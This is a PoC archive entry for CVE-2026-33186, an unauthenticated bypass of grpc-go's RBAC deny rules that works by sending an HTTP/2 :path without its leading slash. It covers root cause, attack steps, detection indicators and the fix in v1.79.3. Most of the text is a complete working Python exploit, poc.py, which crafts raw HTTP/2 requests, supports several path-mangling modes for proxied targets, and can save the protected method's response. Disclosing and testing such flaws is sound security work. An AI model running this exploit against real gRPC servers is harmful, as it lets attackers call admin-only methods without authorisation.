PoC Archive PoC Archive
High CVE-2026-33186 (GHSA-p77j-4mvh-x3m3) patched

gRPC-Go RBAC Authorization Bypass via Missing Leading Slash in `:path` (CVE-2026-33186)

by JohannesLks · 2026-07-05

Severity
High
CVE
CVE-2026-33186 (GHSA-p77j-4mvh-x3m3)
Category
network
Affected product
google.golang.org/grpc (grpc-go) authz package (SDK-level RBAC)
Affected versions
grpc-go < v1.79.3 (fixed in v1.79.3, PR #8981)
Disclosed
2026-07-05
Patch status
patched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-06
Author / ResearcherJohannesLks
CVE / AdvisoryCVE-2026-33186 (GHSA-p77j-4mvh-x3m3)
Categorynetwork
SeverityHigh
CVSS ScoreNot specified in source
StatusPoC
Tagsgrpc, grpc-go, rbac, authorization-bypass, http2, path-normalization, golang, access-control
RelatedN/A

Affected Target

FieldValue
Software / Systemgoogle.golang.org/grpc (grpc-go) authz package (SDK-level RBAC)
Versions Affectedgrpc-go < v1.79.3 (fixed in v1.79.3, PR #8981)
Language / PlatformPython 3.8+ PoC using raw HTTP/2 frames against a Go gRPC server
Authentication RequiredNo
Network Access RequiredYes

Summary

gRPC-Go’s authz package implements RBAC using deny/allow rules matched against the HTTP/2 :path pseudo-header (e.g. /Service/Method). The HTTP/2 server transport stores the raw, pre-normalization :path value in context, but the routing layer (handleStream) normalizes the path (adding a leading slash) before dispatch. Because the RBAC engine reads the value via grpc.Method(ctx) — the pre-normalization form — a deny rule written as /Service/Method fails to match a request sent with :path = "Service/Method" (no leading slash), since the comparison mismatches on the first character. The default allow policy then fires and the protected method executes. Any server using authz.NewStatic() or authz.NewFileWatcher() with deny rules is affected, and exploitation only requires a raw HTTP/2 client capable of sending a custom :path value.


Vulnerability Details

Root Cause

The RBAC deny-rule matcher in authz compares against the raw, pre-normalization :path HTTP/2 pseudo-header, while the transport’s routing/dispatch logic normalizes the path separately — creating a mismatch window where a missing leading slash defeats deny rules without affecting routing.

Attack Vector

  1. Identify a gRPC-Go server that uses the authz package with deny rules protecting a method (e.g. /AdminService/SecretMethod).
  2. Craft a raw HTTP/2 request using a low-level client (Python h2, curl --http2, custom frame writer) instead of the standard gRPC client stack.
  3. Set the :path pseudo-header to the malformed form Service/Method (or //Service/Method for double-slash-preserving proxies) instead of the canonical /Service/Method.
  4. Send the request; the deny rule’s string comparison misses due to the missing/altered leading slash, the default allow rule fires, and the RPC executes with no credentials or prior state required.

Impact

Unauthenticated bypass of gRPC RBAC authorization deny rules, allowing invocation of methods that were intended to be blocked (e.g. admin-only RPCs) without any credentials.


Environment / Lab Setup

Target:   gRPC-Go server using authz.NewStatic()/authz.NewFileWatcher() with deny rules (e.g. grpc-go v1.71.0)
Attacker: Python 3.8+, `pip install h2`

Proof of Concept

PoC Script

See poc.py in this folder.

1
2
3
pip install h2
python3 poc.py --host <HOST> --port <PORT> --service MyService --method SecretMethod
python3 poc.py --host <HOST> --port <PORT> --path-mode no-slash

The script sends three raw HTTP/2 calls (baseline, attack, control) to a target gRPC server: a normal call that should be denied, the malformed-:path attack call, and a control call, comparing the resulting gRPC status codes to prove the deny rule was bypassed (status 0 OK instead of status 7 PermissionDenied).


Detection & Indicators of Compromise

Signs of compromise:

  • Successful invocation of RBAC-deny-listed RPC methods from clients not using the standard gRPC client library
  • HTTP/2 :path values missing the leading slash or containing a leading double slash reaching the backend
  • Discrepancy between reverse-proxy/gateway logs and backend RBAC decision logs for the same request

Remediation

ActionDetail
Primary fixUpgrade google.golang.org/grpc to v1.79.3 or later (PR #8981)
Interim mitigationNormalize/validate the :path pseudo-header (require a leading slash) at the reverse proxy or gateway before it reaches the gRPC-Go server

References


Notes

Mirrored from https://github.com/JohannesLks/CVE-2026-33186 on 2026-07-05.

poc.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
#!/usr/bin/env python3
"""
CVE-2026-33186 -- gRPC-Go authorization policy bypass via malformed :path

The canonical upstream trigger is a :path without the leading slash:

    Service/Method

Some reverse-proxy deployments preserve other malformed path forms before
forwarding to grpc-go. Use --path-mode to test the form that reaches the
backend in your environment.

Requirements:
    pip install h2
    Python >= 3.8
"""

import argparse
import os
import socket
import struct
import sys
import time
from typing import Optional, Tuple

try:
    import h2.config
    import h2.connection
    import h2.events
except ImportError:
    print("[!] h2 library not found. Install with: pip install h2")
    sys.exit(2)


def encode_grpc_frame(data: bytes) -> bytes:
    return b"\x00" + struct.pack(">I", len(data)) + data


def decode_grpc_frame(data: bytes) -> bytes:
    return data[5:] if len(data) >= 5 else data


def encode_proto_string(s: str) -> bytes:
    encoded = s.encode("utf-8")
    if len(encoded) >= 128:
        raise ValueError("demo protobuf encoder only supports short strings")
    return bytes([0x0A, len(encoded)]) + encoded


def read_varint(data: bytes, offset: int) -> Tuple[int, int]:
    value = 0
    shift = 0
    while offset < len(data):
        b = data[offset]
        offset += 1
        value |= (b & 0x7F) << shift
        if not (b & 0x80):
            return value, offset
        shift += 7
    raise ValueError("truncated varint")


def decode_proto_string(data: bytes, field: int = 1) -> Optional[str]:
    """Extract a string field from a simple protobuf message."""
    i = 0
    while i < len(data):
        try:
            tag, i = read_varint(data, i)
            wire = tag & 0x07
            fnum = tag >> 3
            if wire == 2:
                length, i = read_varint(data, i)
                value = data[i:i + length]
                i += length
                if fnum == field:
                    return value.decode("utf-8", errors="replace")
            elif wire == 0:
                _, i = read_varint(data, i)
            else:
                break
        except (IndexError, ValueError):
            break
    return None


def raw_summary(data: bytes) -> str:
    return f"<raw {len(data)} bytes: {data.hex()[:160]}>"


def send_grpc_call(host: str, port: int, path: str, payload: bytes, label: str,
                   connect_host: Optional[str] = None,
                   authority: Optional[str] = None,
                   response_field: int = 1,
                   timeout: float = 5.0) -> dict:
    print(f"\n{'=' * 60}")
    print(f"  Call: {label}")
    print(f"  :path header = {path!r}")
    print(f"{'=' * 60}")

    sock = socket.create_connection((connect_host or host, port), timeout=timeout)

    config = h2.config.H2Configuration(client_side=True, header_encoding="utf-8")
    conn = h2.connection.H2Connection(config=config)
    conn.initiate_connection()
    sock.sendall(conn.data_to_send(65535))

    raw = sock.recv(65535)
    conn.receive_data(raw)
    out = conn.data_to_send(65535)
    if out:
        sock.sendall(out)

    headers = [
        (":method", "POST"),
        (":scheme", "http"),
        (":path", path),
        (":authority", authority or f"{host}:{port}"),
        ("content-type", "application/grpc"),
        ("te", "trailers"),
        ("grpc-encoding", "identity"),
        ("user-agent", "poc-cve-2026-33186/1.1"),
    ]

    sid = conn.get_next_available_stream_id()
    conn.send_headers(sid, headers)
    sock.sendall(conn.data_to_send(65535))
    conn.send_data(sid, encode_grpc_frame(payload), end_stream=True)
    sock.sendall(conn.data_to_send(65535))

    result = {"grpc_status": None, "grpc_message": None, "raw_body": b""}
    deadline = time.time() + timeout
    while time.time() < deadline:
        try:
            sock.settimeout(min(2.0, timeout))
            raw = sock.recv(65535)
        except socket.timeout:
            break
        if not raw:
            break
        events = conn.receive_data(raw)
        out = conn.data_to_send(65535)
        if out:
            sock.sendall(out)
        for ev in events:
            if isinstance(ev, h2.events.DataReceived):
                result["raw_body"] += ev.data
                conn.acknowledge_received_data(ev.flow_controlled_length, ev.stream_id)
                out = conn.data_to_send(65535)
                if out:
                    sock.sendall(out)
            elif isinstance(ev, (h2.events.TrailersReceived, h2.events.ResponseReceived)):
                for name, value in ev.headers:
                    if name == "grpc-status":
                        result["grpc_status"] = int(value)
                    elif name == "grpc-message":
                        result["grpc_message"] = value
            elif isinstance(ev, h2.events.StreamEnded):
                deadline = 0

    try:
        conn.close_connection()
        out = conn.data_to_send(65535)
        if out:
            sock.sendall(out)
    except Exception:
        pass
    sock.close()

    body = decode_grpc_frame(result["raw_body"]) if result["raw_body"] else b""
    result["response_bytes"] = body
    result["response_body"] = (
        decode_proto_string(body, field=response_field)
        or decode_proto_string(body, field=1)
        or (raw_summary(body) if body else None)
    )

    names = {0: "OK", 1: "Cancelled", 2: "Unknown", 3: "InvalidArgument",
             5: "NotFound", 7: "PermissionDenied", 12: "Unimplemented", 13: "Internal"}
    status = result["grpc_status"]
    print(f"  gRPC status:  {status} ({names.get(status, str(status))})")
    if result["grpc_message"]:
        print(f"  gRPC message: {result['grpc_message']}")
    if result.get("response_body"):
        print(f"  Response:     {result['response_body'][:240]}")

    return result


def build_attack_path(args) -> str:
    if args.path_mode == "custom":
        if not args.attack_path:
            raise ValueError("--path-mode custom requires --attack-path")
        return args.attack_path
    if args.path_mode == "double-slash":
        return f"//{args.service}/{args.method}"
    if args.path_mode == "no-slash":
        return f"{args.service}/{args.method}"
    raise ValueError(f"unknown path mode: {args.path_mode}")


def write_response(path: str, text: Optional[str], raw: bytes) -> None:
    if text is not None:
        with open(path, "w", encoding="utf-8") as f:
            f.write(text)
            if not text.endswith("\n"):
                f.write("\n")
    else:
        with open(path, "wb") as f:
            f.write(raw)
    os.chmod(path, 0o600)


def main():
    parser = argparse.ArgumentParser(
        description="CVE-2026-33186 PoC -- gRPC-Go authz bypass via malformed :path",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog=(
            "Examples:\n"
            "  python3 poc.py --host 10.0.0.5 --port 50051\n"
            "  python3 poc.py --host 10.0.0.5 --port 50051 --service MyService --method SecretMethod\n"
            "  python3 poc.py --host vhost.example --connect-host 10.0.0.5 --port 80 --path-mode double-slash\n"
            "  python3 poc.py --host vhost.example --connect-host 10.0.0.5 --path-mode custom --attack-path //S/M\n"
            "\n"
            "Exit codes: 0=vulnerable/confirmed, 1=patched/not-bypassed, 2=error\n"
        ),
    )
    parser.add_argument("--host", default="127.0.0.1",
                        help="HTTP/2 :authority host unless --authority is set")
    parser.add_argument("--connect-host", default=None,
                        help="TCP destination host/IP when it differs from --host")
    parser.add_argument("--authority", default=None,
                        help="explicit HTTP/2 :authority value")
    parser.add_argument("--port", type=int, default=50051)
    parser.add_argument("--service", default="TestService")
    parser.add_argument("--method", default="AdminMethod")
    parser.add_argument("--public-method", default="PublicMethod", dest="public_method")
    parser.add_argument("--path-mode", choices=["no-slash", "double-slash", "custom"],
                        default="no-slash")
    parser.add_argument("--attack-path", default=None,
                        help="literal attack :path when --path-mode custom is used")
    parser.add_argument("--request-string", default="poc",
                        help="field-1 string payload to send")
    parser.add_argument("--response-field", type=int, default=1,
                        help="protobuf string field to print/extract from responses")
    parser.add_argument("--output-response", default=None,
                        help="write the decoded attack response to this local file")
    parser.add_argument("--expect-substring", default=None,
                        help="require this substring in the decoded attack response")
    parser.add_argument("--timeout", type=float, default=5.0)
    args = parser.parse_args()

    try:
        attack_path = build_attack_path(args)
        payload = encode_proto_string(args.request_string)
    except ValueError as exc:
        print(f"[ERROR] {exc}")
        sys.exit(2)

    admin_path = f"/{args.service}/{args.method}"
    public_path = f"/{args.service}/{args.public_method}"

    print()
    print("CVE-2026-33186 -- gRPC-Go Authorization Policy Bypass")
    print("Affected: google.golang.org/grpc < v1.79.3")
    print(f"Target TCP: {args.connect_host or args.host}:{args.port}")
    print(f"HTTP/2 authority: {args.authority or args.host + ':' + str(args.port)}")
    print(f"Attack path mode: {args.path_mode}")
    print()
    print("Policy under test:")
    print(f"  DENY  {admin_path}")
    print(f"  ALLOW {public_path}")
    print("  ALLOW * (default)")

    try:
        r1 = send_grpc_call(args.host, args.port, admin_path, payload,
                            f"BASELINE: {admin_path} -- expect DENIED",
                            args.connect_host, args.authority, args.response_field,
                            args.timeout)
        r2 = send_grpc_call(args.host, args.port, attack_path, payload,
                            f"ATTACK:   {attack_path} -- expect BYPASS",
                            args.connect_host, args.authority, args.response_field,
                            args.timeout)
        r3 = send_grpc_call(args.host, args.port, public_path, payload,
                            f"CONTROL:  {public_path} -- expect OK",
                            args.connect_host, args.authority, args.response_field,
                            args.timeout)
    except Exception as exc:
        print(f"\n[ERROR] gRPC exchange failed: {exc}")
        sys.exit(2)

    print()
    print("=" * 60)
    print("SUMMARY")
    print("=" * 60)

    baseline_denied = r1["grpc_status"] == 7
    bypass_succeeded = r2["grpc_status"] == 0
    public_ok = r3["grpc_status"] == 0
    attack_text = r2.get("response_body")

    print(f"  Baseline {admin_path}: status={r1['grpc_status']} "
          f"{'DENIED (correct)' if baseline_denied else 'UNEXPECTED'}")
    print(f"  Attack   {attack_path}: status={r2['grpc_status']} "
          f"{'BYPASS CONFIRMED' if bypass_succeeded else 'not bypassed'}")
    print(f"  Control  {public_path}: status={r3['grpc_status']} "
          f"{'OK (correct)' if public_ok else 'UNEXPECTED'}")
    print()

    if args.output_response and bypass_succeeded:
        write_response(args.output_response, attack_text, r2["response_bytes"])
        print(f"Attack response written to {args.output_response}")

    if args.expect_substring and args.expect_substring not in (attack_text or ""):
        print("[ERROR] Attack succeeded but expected substring was not found.")
        sys.exit(2)

    if baseline_denied and bypass_succeeded:
        print("[VULNERABLE] CVE-2026-33186 confirmed on this server.")
        sys.exit(0)
    if not baseline_denied:
        print(f"[ERROR] Baseline not denied (status={r1['grpc_status']}).")
        sys.exit(2)

    print(f"[PATCHED] Attack returned status={r2['grpc_status']}.")
    sys.exit(1)


if __name__ == "__main__":
    main()